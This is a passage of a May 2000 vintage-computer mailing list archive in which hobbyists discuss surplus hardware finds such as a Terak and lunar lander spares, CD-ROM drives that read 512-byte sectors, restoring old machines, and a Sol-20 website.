<01cc01bfb552$1bcb0960$ef2c63c3@gazk> Can anyone tell me who the list administrator is? Gareth From rigdonj at intellistar.net Wed May 3 18:25:08 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:24 2005 Subject: What a weekend! In-Reply-To: <4.3.0.20000503144532.00bf3620@pc> References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000503182508.268fbd40@mailhost.intellistar.net> Hi John, I knew that someone on the list had a Terak. BTW I think this one originally came from the VA hospital in Gainsville, Florida. I got it with a bunch of stuff that came from NASA. At 02:47 PM 5/3/00 -0500, you wrote: >At 02:57 PM 5/3/00 -0500, Joe wrote: >>a Terak computer, a pile of HP terminals, a complete DEC Rainbow and more. > >Wow, tell me about the Terak system you got. I don't know anything about it other than the obvious. I haven't had a chance to look at it closely. It looks like a model 8510. It has one 8" floppy drive and the monitor. It has two serial ports and each has connectors for DTE, DCE or current loop connections. It has a monitor port, a composite video port, a keyboard connector and a connector for additional drives. I'm missing the cable that connects the monitor to the CPU and I'm missing the keyboard. (Unless it turns up in the rest of the stuff.) I'm posting pictures of it at "www.intellistar.net/~rigdonj/terak/terak-f.jpg" and "www.intellistar.net/~rigdonj/terak/terak-b.jpg". > >See http://www.threedee.com/jcm/ > >>Even got parts from a lunar lander and a >>gyro from a Saturn V. > >Wow, cool. What parts from a lunar lander? A spare door and part of the RADAR altimeter. We've already been offered VERY serious money for the door. In fact, more than enough to pay for the whole load. Oh, also got sections of the tunnels that were supposed to connect the different modules of Skylab. They remind me of those tubes used on the gerbil and hmaster habitats! Joe > >- John > > From rigdonj at intellistar.net Wed May 3 18:39:47 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:24 2005 Subject: What a weekend! In-Reply-To: References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000503183947.267790bc@mailhost.intellistar.net> At 12:54 PM 5/3/00 -0700, you wrote: >>was a huge Helium Neon laser. It's a Spectra Physics 125 and the thing is > >So, did you actually get the laser, or just find it? I didn't get it yet. They want to much for it IMO. But I expect that I'll end up getting it for the price that I offered. > >> Then went to an auction of space stuff with a friend of mine on >>Saturday. Big mistake! We've been moving stuff ever since. I've been >>leaving by 6:30 AM and not getting home till close till midnight. We ended >>up with four large work benches, 30 feet of 12 foot pallet racking and >>about 35 pallets of stuff! We got some cool stuff though, a complete Apple > >Ouch! > >>Also got a a VERY complete HP 1000 including a 7905 disk drive with the >>disk pack still in it. Also found an entire gaylord of manuals for it. And > >You found a grills ventilation system of manuals? (A Gaylord is a >ventilation system used above grills and deep fat fryers (mispent early >career as an electrician)) A gaylord is also a VERY sturdy cardboard box that measures 4 foot on each axis. They sit on pallets and are used to ship and store loose items. Joe > > Zane >| Zane H. Healy | UNIX Systems Adminstrator | >| healyzh@aracnet.com (primary) | Linux Enthusiast | >| healyzh@holonet.net (alternate) | Classic Computer Collector | >+----------------------------------+----------------------------+ >| Empire of the Petal Throne and Traveller Role Playing, | >| and Zane's Computer Museum. | >| http://www.aracnet.com/~healyzh/ | > From rigdonj at intellistar.net Wed May 3 19:00:15 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:24 2005 Subject: What a weekend! In-Reply-To: <000801bfb53f$68df6060$0e0301ac@dba00802.databaseamerica.co m> References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000503190015.266f4a58@mailhost.intellistar.net> At 04:37 PM 5/3/00 -0400, you wrote: > >Joe said: > > an Apple III with an external disk drive... > Fastastic! Great! > > > Even got parts from a lunar lander... > What? Name 'em! Part of the RADAR altimeter and a spare hatch. > > > and a gyro from a Saturn V... > How big did those fellers get, anyway? It's about the same size and shape as a half height 5 1/4" hard drive and looks a lot like one at first glance. It's about 1 1/2 times as tall though. I'll try to get a picture and post it. Joe > >John A. > > From cmcmanis at mcmanis.com Wed May 3 18:02:27 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:24 2005 Subject: 512 byte CD-ROM drives Message-ID: <4.1.20000503155850.044b5970@mailhost.hq.freegate.com> Ok, perhaps a simple question. Is there anyway, by inspection of the case, to identify whether or not a CD-ROM drive will read 512byte records? If not, is there a list of "known" models that can? --Chuck From ard at p850ug1.demon.co.uk Wed May 3 18:02:18 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:24 2005 Subject: IBM PC parts In-Reply-To: <200005032219.RAA29867@caesar.cs.umn.edu> from "Lawrence LeMay" at May 3, 0 05:19:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 853 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/4214d209/attachment-0001.ksh From zmerch at 30below.com Wed May 3 18:16:01 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:52:24 2005 Subject: What a weekend! In-Reply-To: References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.32.20000503191601.00968230@mail.30below.com> Rumor has it that Zane H. Healy may have mentioned these words: >>Also got a a VERY complete HP 1000 including a 7905 disk drive with the >>disk pack still in it. Also found an entire gaylord of manuals for it. And > >You found a grills ventilation system of manuals? (A Gaylord is a >ventilation system used above grills and deep fat fryers (mispent early >career as an electrician)) No, no, no... I thought he found a small city in North Central Michigan of manuals... ;-) (I had a not-so-misspent early career at EDS, working on the big iron... but it was in Detroit so that sucked, and the 700-mile round trip weekend commutes back to the Canadian Border (during which I passed thru Gaylord, MI) sucked worse...) ;-) On another front, the folks at DECUS *lost* my membership application, but they were nice enough to email me and let me know I needed to reapply. (My question is this: If they lost the info, *how* did they know how to contact me to let me know they lost it??? ;-) I have since reapplied and am waiting patiently for my DECUS membership... :-) Take care, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From dpeschel at eskimo.com Wed May 3 18:15:44 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:24 2005 Subject: Attention List Admin blokey In-Reply-To: <01cc01bfb552$1bcb0960$ef2c63c3@gazk> from "Gareth Knight" at May 02, 2000 09:18:42 PM Message-ID: <200005032315.QAA11129@eskimo.com> > Can anyone tell me who the list administrator is? That's me. You can also reach me at dpeschel@eskimo.com. Are you having a problem, or do you have a question or something? -- Derek From healyzh at aracnet.com Wed May 3 18:50:14 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:24 2005 Subject: 512 byte CD-ROM drives In-Reply-To: <4.1.20000503155850.044b5970@mailhost.hq.freegate.com> from "Chuck McManis" at May 03, 2000 04:02:27 PM Message-ID: <200005032350.QAA09265@shell1.aracnet.com> > Ok, perhaps a simple question. > > Is there anyway, by inspection of the case, to identify whether or not a > CD-ROM drive will read 512byte records? If not, is there a list of "known" > models that can? > > --Chuck > The presense of a 512/2048-byte jumper is a good clue. :^) I think one of the Sun FAQ's has a list of some of the drives that work. IIRC, I'm using Toshiba drives on a couple of my Alpha's running OpenVMS. Zane From elvey at hal.com Wed May 3 18:47:36 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:24 2005 Subject: IBM PC parts In-Reply-To: Message-ID: <200005032347.QAA29127@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > I'm waiting for the day that some Antiques Roadshow person starts to > > Gush about the fine old 'patina' on the metal parts of some floppy drive. > > I plan to throw up right about then... > > > The day I am told I've ruined the value of %common-machine by repairing > it is the day I leave this hobby. Permanently! Computers were designed to > run programs, and run programs they shall ! Hi I think Tony will win in the long run on this. Even the road show indicated once that silver is meant to be polish while most copper art isn't. Each type of item is different. As for value of a computer, I'm sure that the value of a computer will follow the following levels: 1. Working, all original 2. Working, minor repairs 3. non-working, all original 4. just plain trashed While some put a large effort into locating exact dated parts, I don't think using what is available moves it from 2 to 4. It might move it from 2.01 to 2.00 but that is about it. Even things like classic cars, one still replaces the tires and battery when shot. It adds little value to have a bad original battery in a car that won't start. Trashed seat covers will not win many shows but restored seat covers may put it in top place. The future value will be determined by how people in the future look at these things. A non-working cylinder record player is useful for parts. A working one is what is desired. I think that restoring an old computing machine to working condition is the highest achievement that any computer collector can achieve. If others don't feel that way, they should be collecting beanie babys. IMHO Dwight From cmcmanis at mcmanis.com Wed May 3 18:58:07 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:24 2005 Subject: IBM PC parts In-Reply-To: <200005032246.RAA01513@caesar.cs.umn.edu> References: <001b01bfb547$54108ee0$350810ac@yamato.chipware.com> Message-ID: <4.1.20000503165702.03fbfd20@mailhost.hq.freegate.com> >> NorthStar Horizons! >> > >So if someone was to bid on that Northstar Horizon thats on Ebay, but that >doesnt have any floppy drives... Even worse, they bought the northstar, installed the Tandon drives with the IBM logo and then hawked the result on Ebay as the R@RE IBM CP/M computer that nobody else knows about. --Chuck From pechter at pechter.dyndns.org Wed May 3 20:08:50 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:24 2005 Subject: 512 byte CD-ROM drives In-Reply-To: <200005032350.QAA09265@shell1.aracnet.com> from "healyzh@aracnet.com" at "May 3, 2000 04:50:14 pm" Message-ID: <200005040108.VAA24193@bg-tc-ppp824.monmouth.com> > > Ok, perhaps a simple question. > > > > Is there anyway, by inspection of the case, to identify whether or not a > > CD-ROM drive will read 512byte records? If not, is there a list of "known" > > models that can? > > > > --Chuck > > > > The presense of a 512/2048-byte jumper is a good clue. :^) I think one of the > Sun FAQ's has a list of some of the drives that work. IIRC, I'm using > Toshiba drives on a couple of my Alpha's running OpenVMS. > > Zane > > The Teac's I've got work (on Suns) as do some Sony drives. They should also work on VMS... I"m going to dig out the VS3100 this weekend to load it. Just got a DEC DSP3105 drive. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From rigdonj at intellistar.net Wed May 3 21:22:46 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:26 2005 Subject: Terak was Re: What a weekend! In-Reply-To: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000503212246.093fa6f0@mailhost.intellistar.net> I just did some checking on the Teraks. The disk drive is a double density unit. The model and serial numbers are; Monitor model 8532-1 SN U100736, CPU model number 8510 SN U100070. Joe From jim at calico.litterbox.com Wed May 3 20:24:27 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:52:32 2005 Subject: 512 byte CD-ROM drives In-Reply-To: <200005040108.VAA24193@bg-tc-ppp824.monmouth.com> from "Bill Pechter" at May 03, 2000 09:08:50 PM Message-ID: <200005040124.TAA12531@calico.litterbox.com> Plextor also makes drives that work - modern, fast ones, at that. My ultraplex 40 wide is listed in the manual as VMS compatible. > > > > Ok, perhaps a simple question. > > > > > > Is there anyway, by inspection of the case, to identify whether or not a > > > CD-ROM drive will read 512byte records? If not, is there a list of "known" > > > models that can? > > > > > > --Chuck > > > > > > > The presense of a 512/2048-byte jumper is a good clue. :^) I think one of the > > Sun FAQ's has a list of some of the drives that work. IIRC, I'm using > > Toshiba drives on a couple of my Alpha's running OpenVMS. > > > > Zane > > > > > > The Teac's I've got work (on Suns) as do some Sony drives. > They should also work on VMS... I"m going to dig out the VS3100 this > weekend to load it. Just got a DEC DSP3105 drive. > > Bill > > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From wvh at gethip.com Mon May 1 14:29:16 2000 From: wvh at gethip.com (Bill von Hagen) Date: Sun Feb 27 18:52:32 2005 Subject: Looking for LMI LISP Machines Message-ID: <4.3.1.2.20000501152408.00d61ae0@mail.city-net.com> Every few years I evaluate the holes in my workstation collection (http://www.city-net/~wvh/collection.html, not up to date) and inevitably find that I still have no LMI LISP machines. This list seems to be the perfect place to ask (1) if anyone has one (or more) or docs, software, or even just parts that they're willing to "part" with or (2) if anyone knows where any systems, software, or docs are lurking. It's been a long time since their "heyday" (Stallman honed his hacking skills on these boxes). I have working samples of most/all of the other classic LispMs (PERQs, TI Exploders, XEROX boxes, Symbolics) but alas, no LMIs. Can anyone help? Thanks! Bill From ernestls at home.com Wed May 3 20:50:10 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:52:32 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <3.0.1.16.20000503151148.0a4f407e@mailhost.intellistar.net> Message-ID: <000001bfb56c$e2ec5de0$59a40b18@C721564-A.sttln1.wa.home.com> -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Joe Sent: Wednesday, May 03, 2000 1:12 PM To: classiccmp@classiccmp.org Subject: Re: Couple of cool HP 110/150 finds >HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices >(have you seen one of these before, Joe?) I have one but it looks about like one of the standard RS-232 switch boxs and it only switchs between four (i think!) sets of HP-IB cables. Well, it does have three HP-IB connectors but since you can daisy chain the IB devices, wouldn't that mean that you could have seven chained devices per port? >HP Series 100 Communicator Volumes 7-12 (very cool) Now those are unusual. I have two volumes but I've never been able to find any more of them. Where did you find them? What? You're asking me to give up my most productive source of free or very cheap vintage hardware. I'll give you a hint... it's the coolest vintage computer store in Seattle. These books are great! What a wealth of photos and information. Volume 7 (1983) =International Edition. Introduces the HP150. Volume 8 (1984) =World Wide Edition. Lotus 123. Volume 9 (1984) =World Wide Edition. General, no specific topic. Volume 10(1984) =WWE. Local area networking with HP computers. Volume 12(1985) =Touchscreen II. Ernest From allisonp at world.std.com Wed May 3 20:09:17 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:32 2005 Subject: IBM PC parts Message-ID: <008901bfb568$51fdff90$8264c0d0@ajp166> >> The day I am told I've ruined the value of %common-machine by repairing >> it is the day I leave this hobby. Permanently! Computers were designed to >> run programs, and run programs they shall ! And they have no idea of what they speak. >replaces the tires and battery when shot. It adds little >value to have a bad original battery in a car that won't >start. Trashed seat covers will not win many shows but The key on a restored care is id the battery a new white plastic cased one or something old looking with external terminals on the top. It's the difference between restored and working. > I think that restoring an old computing machine to working >condition is the highest achievement that any computer collector >can achieve. If others don't feel that way, they should be >collecting beanie babys. I happen to agree. While im not into museum restoration myself having things work is important and I do try to use exact parts often due to my junkbox depth as old or older than original. While static displays have a place working examples of the real or by replication are far more interesting. Computing is not only about machines. It's about software and the people that designed, built and supported them as well. Allison From allisonp at world.std.com Wed May 3 20:21:10 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:32 2005 Subject: IBM PC parts Message-ID: <008c01bfb568$549ced60$8264c0d0@ajp166> >Last time I demonstrated one of my not-too-old machines (a PDP11/10 IIRC) >to a group of students, I realised that the computer was built before any >of the audience were born. Ouch.... I rather enjoy showing the kids that computers were really around a long time before them and they didn't look like C grade scfi flicks had them. >The day I am told I've ruined the value of %common-machine by repairing >it is the day I leave this hobby. Permanently! Computers were designed to >run programs, and run programs they shall ! That was their initial function and most continue to do it. What other point would there be? Allison From allisonp at world.std.com Wed May 3 20:17:20 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:32 2005 Subject: IBM PC parts Message-ID: <008b01bfb568$53d334c0$8264c0d0@ajp166> >So if someone was to bid on that Northstar Horizon thats on Ebay, but that >doesnt have any floppy drives... Well they arent rare. They are nice and fairly straightforward machines. the native OS was never CP/M, it was NS* dos. For laughs what are the bids at? Allison From allisonp at world.std.com Wed May 3 20:00:32 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:32 2005 Subject: 512 byte CD-ROM drives Message-ID: <008801bfb568$51068030$8264c0d0@ajp166> >> > Is there anyway, by inspection of the case, to identify whether or not a >> > CD-ROM drive will read 512byte records? If not, is there a list of "known" >> > models that can? I have a bunch of older Panasonic MX3501s that work fine and recently bought a $49 unit from JDR that had the jumper so I tried it and it worked. >They should also work on VMS... I"m going to dig out the VS3100 this >weekend to load it. Just got a DEC DSP3105 drive. Thats a Panasonic (aka Masushita or some such). Likely the best giveaway is any drive with a jumper for selecting block size or slower than 4x plus SCSI is likely a winner. Allison From allisonp at world.std.com Wed May 3 20:15:03 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:32 2005 Subject: What a weekend! Message-ID: <008a01bfb568$52d88110$8264c0d0@ajp166> >> > Even got parts from a lunar lander... >> What? Name 'em! > > Part of the RADAR altimeter and a spare hatch. Parts of the flight computer would be a catch! Even those of the Shuttle. While I'm not actively trying to get more there are some things out there on my "Oh, don't pass that one up" list. Minuteman missle computer. An old disk machine with serial electronics and all transistor. It was my intro to real touch it hardware some 28 years ago. Cincinatti Millichron CM2xxxx series 16bit computer CA1973ish (anyone but me ever see one?) Allison From red at bears.org Wed May 3 22:01:55 2000 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 18:52:32 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000001bfb56c$e2ec5de0$59a40b18@C721564-A.sttln1.wa.home.com> Message-ID: On Wed, 3 May 2000, Ernest wrote: > What? You're asking me to give up my most productive source of free or very > cheap vintage hardware. I'll give you a hint... it's the coolest vintage > computer store in Seattle. You're assuming that everybody has the same set of interests in vintage computers. Now spill the beans! (: And if you say, "Re*PC" I'm going to have to hurt you. ok r. From wilson at dbit.dbit.com Wed May 3 22:19:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:32 2005 Subject: What a weekend! In-Reply-To: <008a01bfb568$52d88110$8264c0d0@ajp166>; from allisonp@world.std.com on Wed, May 03, 2000 at 09:15:03PM -0400 References: <008a01bfb568$52d88110$8264c0d0@ajp166> Message-ID: <20000503231933.A24114@dbit.dbit.com> On Wed, May 03, 2000 at 09:15:03PM -0400, allisonp wrote: > >> > Even got parts from a lunar lander... > >> What? Name 'em! > > > > Part of the RADAR altimeter and a spare hatch. > > Parts of the flight computer would be a catch! Even those of the > Shuttle. Forgive my ignorance, I was just a kid at the time, but weren't the lunar landers abandoned to crash-land on the moon after the trip was over? So is this stuff from prototypes or am I missing something? John Wilson D Bit From healyzh at aracnet.com Wed May 3 22:36:16 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:32 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> from "John Wilson" at May 03, 2000 11:19:33 PM Message-ID: <200005040336.UAA30579@shell1.aracnet.com> > > >> > Even got parts from a lunar lander... > > >> What? Name 'em! > > > > > > Part of the RADAR altimeter and a spare hatch. > > Forgive my ignorance, I was just a kid at the time, but weren't the > lunar landers abandoned to crash-land on the moon after the trip was > over? So is this stuff from prototypes or am I missing something? > > John Wilson > D Bit > Consider this, the Aerospace Museum in DC has a Space Lab. BTW, if you want to do the Space Lap walkthrough I recommend going during the week in February. I lived in DC for three years, and that's about the only time you'll be able to see it without standing in line for ages. As for Summer on a weekend, well you can just forget going to the museums period! Zane PS now this is what I call an off-topic post! PPS the same time period is good for seeing the computer exhibit at the Museum of American History in DC From swolfe1 at mail.gcnet.net Wed May 3 22:59:04 2000 From: swolfe1 at mail.gcnet.net (The Basement) Date: Sun Feb 27 18:52:32 2005 Subject: VAX system wanted References: <200005040336.WAA43405@opal.tseinc.com> Message-ID: <004001bfb57d$175eee20$0190fea9@beast> Hello all at classiccmp!!! I'm, looking to pick up an older vax system, possibly a microvax. I'm interested in ANY smaller main or minicomputer. We have some extra space in teh Computer Club room at our University. We don't have much as far as usable stuff goes ( a Pentium 75 Intel Box ). I would REALLY love to find a uVax to setup and possibly host a server for classic computers for our ACM Chapter, which could really use a project like this, since we are newly formed. Thanks! Shane Wolfe Frostburg State University Frostburg, Maryland From cmcmanis at mcmanis.com Wed May 3 23:15:47 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:32 2005 Subject: Plextor CD writers Message-ID: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Ok, so a couple of people have pointed out that the Plextor's support 512 byte sectors. Further the Plextor CD writer also supports 512 byte sectors. So my question is can I use it to write a bootable disk image? Has anyone tried this? Tim? --Chuck From xds_sigma7 at hotmail.com Thu May 4 01:37:19 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:32 2005 Subject: Cincinatti Milacron Message-ID: <20000504063719.31825.qmail@hotmail.com> Ah yes, the Cincinatti Milacron. Now that is a truly unusual beast... I'd bet you could probably find one pretty easily, it would just cost you something like $10,000 however. The reason being is that Cincinatti Milacron was formerly known as the Cincinatti Milling Machine Co., and they are known for their machine tools, I think mostly lathes and the like (lathes for steel, not wood). At any rate, in about 1970 or '71, they decided to computerize their milling machines, but they didn't want to use just someone else's mini (i.e., a PDP-11 for example), so they designed their own. The first model was not actually designed by them, it was a General Automation I think, I can't remember. However, all later machines were inhouse designs. They're all 16-bits, can't remember too much else though. I got this info out of circa 1968-1973 or so vintage copies of "Datamation". Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From frustum at pacbell.net Thu May 4 02:01:45 2000 From: frustum at pacbell.net (Jim Battle) Date: Sun Feb 27 18:52:32 2005 Subject: New home for Sol web site In-Reply-To: <3.0.1.16.20000503212246.093fa6f0@mailhost.intellistar.net> References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <4.3.0.20000503235140.00b14e60@pacbell.net> Sorry for the self-promotion here, but I've made a lot of changes to my web site dedicated to the Sol computer. Some of the list members may be interested. In no particular order: *) The list's very own Mike Noel was kind enough to scan two P.T. Access newsletters from his collection. I've ocr'd one of them and put it on-line. The second one is in progress. Check it out at: http://www.thebattles.net/sol20/access_v2n1.pdf *) Paul Schaper had the foresight to archive his collection of sol cassettes back when he bought them. He has forwarded the binaries to me, which can be had at this location (along with the other programs that were already there): http://www.thebattles.net/sol20/solpgms.html *) the Sol web site has a new home. The old location was hosted on a banner-ad supported free web site. Due to the banner ads and the fact that I was running out of space, the Sol pages have found a new home. If you are interested, take a look here: http://www.thebattles.net/sol20/sol.html *) if you have been to the site before and want to know what has changed, the history of changes are here: http://www.thebattles.net/sol20/solnew.html Any suggestions, corrections, and donations can be sent to me, frustum@pacbell.net. Thanks. ----- Jim Battle == frustum@pacbell.net From pete at dunnington.u-net.com Thu May 4 03:06:26 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:32 2005 Subject: Plextor CD writers In-Reply-To: Chuck McManis "Plextor CD writers" (May 3, 21:15) References: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Message-ID: <10005040906.ZM825@indy.dunnington.u-net.com> On May 3, 21:15, Chuck McManis wrote: > Ok, so a couple of people have pointed out that the Plextor's support 512 > byte sectors. Further the Plextor CD writer also supports 512 byte sectors. > So my question is can I use it to write a bootable disk image? Has anyone > tried this? Tim? I haven't used a Plextor writer, but I see no reason for it not to work. Any writer can write a bootable image. I've done so with my Yamahas and Teac. Writing is always done with 2048-byte blocks; the sectors in the images are always 2048 bytes (well, for Mode 1 data, anyway). Setting a CD-ROM to read in 512-byte blocks just makes it deliver the data in chunks that size, it has nothing to do with the physical blocksize on the CD. -- Pete Peter Turnbull Dept. of Computer Science University of York From cmcmanis at mcmanis.com Thu May 4 03:50:53 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:32 2005 Subject: Plextor CD writers In-Reply-To: <10005040906.ZM825@indy.dunnington.u-net.com> References: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Message-ID: <4.3.1.2.20000504014851.02b9c860@208.226.86.10> At 08:06 AM 5/4/00 +0000, Pete wrote: > Any writer can write a bootable image. I've done so with my Yamahas and >Teac. Writing is always done with 2048-byte blocks; the sectors in the >images are always 2048 bytes (well, for Mode 1 data, anyway). Setting a >CD-ROM to read in 512-byte blocks just makes it deliver the data in chunks >that size, it has nothing to do with the physical blocksize on the CD. I tried to duplicate the bootable VMS 7.1 CD on my Sony CD-R drive and it didn't work. (Using Adaptec EZ CD creator's "Clone" facility) So I guessed it was the block size issue. --Chuck From mikeford at socal.rr.com Thu May 4 04:46:14 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:32 2005 Subject: IBM PC parts In-Reply-To: References: from "Mike Ford" at May 3, 0 11:01:38 am Message-ID: >> My rule is to pull anything that looks different or interesting. Obviously >> a 16-256k logic board is worth preserving, but so are any special looking > ^^^^^^^ > >Presumably you mean a 16-64K logic board here. That was the first IBM PC >motherboard and is thus historically interesting. The later 64-256K board >is a lot more common, though :-( Was it really "later", or was the 64-256k an option available at the same time as the 16-64k? From rigdonj at intellistar.net Thu May 4 06:35:40 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:33 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> References: <008a01bfb568$52d88110$8264c0d0@ajp166> <008a01bfb568$52d88110$8264c0d0@ajp166> Message-ID: <3.0.1.16.20000504063540.2677c75c@mailhost.intellistar.net> John, At 11:19 PM 5/3/00 -0400, you wrote: >On Wed, May 03, 2000 at 09:15:03PM -0400, allisonp wrote: >> >> > Even got parts from a lunar lander... >> >> What? Name 'em! >> > >> > Part of the RADAR altimeter and a spare hatch. >> >> Parts of the flight computer would be a catch! Even those of the >> Shuttle. > >Forgive my ignorance, I was just a kid at the time, but weren't the >lunar landers abandoned to crash-land on the moon after the trip was >over? Yes, you're right. So is this stuff from prototypes or am I missing something? These were spares. FWIW even the stuff that cames back to earth in the capsules is very seldom available. It is usually cut apart for testing or put in a museum somewhere. Joe > >John Wilson >D Bit > From bobstek at ix.netcom.com Thu May 4 06:18:45 2000 From: bobstek at ix.netcom.com (Bob Stek) Date: Sun Feb 27 18:52:33 2005 Subject: New home for Sol web site In-Reply-To: <4.3.0.20000503235140.00b14e60@pacbell.net> Message-ID: Jim - Congratulations! It is a fine website (and one that I wish I wuold have had the time and energy to have put together). I will be sending you some material to add to the collection (as soon as I find it!). I do like tha addition of the NorthStar material since many, many Sols had the affordable N* drives mated to them rather than the $2,000+ Helios behemouth. Besides being my own first computer, in a curious (bizarre?) way it was an inspiration for the design of the Apple II. Besides having a built-in keyboard, cassette interface, and TV output, its physical characteristics inspired Jobs design of the Apple case: "Jobs thought the cigar boxes [housing the home-made computers] that sat on the ... desk tops during Homebrew meetings were as elegant as fly traps. The angular, blue and black sheet-metal case that housed Processor Technology's Sol struck him as clumsy and industrial ... A plastic case was generally considered a needless expense compared to the cheaper and more pliable sheet metal. Hobbyists, so the arguments went, didn't care as much for appearance as they did for substance. Jobs wanted to model the case for the Apple after those Hewlett-Packard used for its calculators. He admired their sleek, fresh lines, their hardy finish, and the way they looked at home on a table or desk." Michael Moritz, THE LITTLE KINGDOM, p. 186. Although I must take umbrage with that statement. I happen to feel that the Sol's bright blue case and polished walnut sides made it quite attractive myself. But then again, I suppose that I'm just an "industrial" guy. Bob Stek Saver of Lost SOLs > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Jim Battle > Sent: Thursday, May 04, 2000 3:02 AM > To: classiccmp@classiccmp.org > Subject: New home for Sol web site > > > Sorry for the self-promotion here, but I've made a lot of changes to my > web site dedicated to the Sol computer. Some of the list members > may be interested. In no particular order: > > *) The list's very own Mike Noel was kind enough to scan two P.T. > Access newsletters from his collection. I've ocr'd one of them > and put it on-line. The second one is in progress. > Check it out at: > http://www.thebattles.net/sol20/access_v2n1.pdf > > *) Paul Schaper had the foresight to archive his collection of > sol cassettes back when he bought them. He has forwarded > the binaries to me, which can be had at this location (along > with the other programs that were already there): > http://www.thebattles.net/sol20/solpgms.html > > *) the Sol web site has a new home. The old location > was hosted on a banner-ad supported free web site. Due > to the banner ads and the fact that I was running out of space, > the Sol pages have found a new home. If you are interested, > take a look here: > http://www.thebattles.net/sol20/sol.html > > *) if you have been to the site before and want to know what has > changed, the history of changes are here: > http://www.thebattles.net/sol20/solnew.html > > Any suggestions, corrections, and donations can be sent to me, > frustum@pacbell.net. > > Thanks. > > > ----- > Jim Battle == frustum@pacbell.net > From at258 at osfn.org Thu May 4 06:41:17 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:52:33 2005 Subject: New home for Sol web site In-Reply-To: <4.3.0.20000503235140.00b14e60@pacbell.net> Message-ID: On Thu, 4 May 2000, Jim Battle wrote: > Sorry for the self-promotion here, but I've made a lot of changes to my > web site dedicated to the Sol computer. Some of the list members > may be interested. In no particular order: I always suspected that Sol Invictis cult wasn't dead... From allisonp at world.std.com Thu May 4 07:31:08 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:33 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> Message-ID: > > Parts of the flight computer would be a catch! Even those of the > > Shuttle. > > Forgive my ignorance, I was just a kid at the time, but weren't the > lunar landers abandoned to crash-land on the moon after the trip was > over? So is this stuff from prototypes or am I missing something? No John, your not missing anything. The LM was lost after use but there were protos, simulators, I believe one that was built but never got to fly and of course spares for the ones built. I used to live on LI not to far from PLANT-33 (Grumman Corp) who built the LM and did go to the auctions back in the 70s when the moon/aerospace shutdown occured. I still have a few 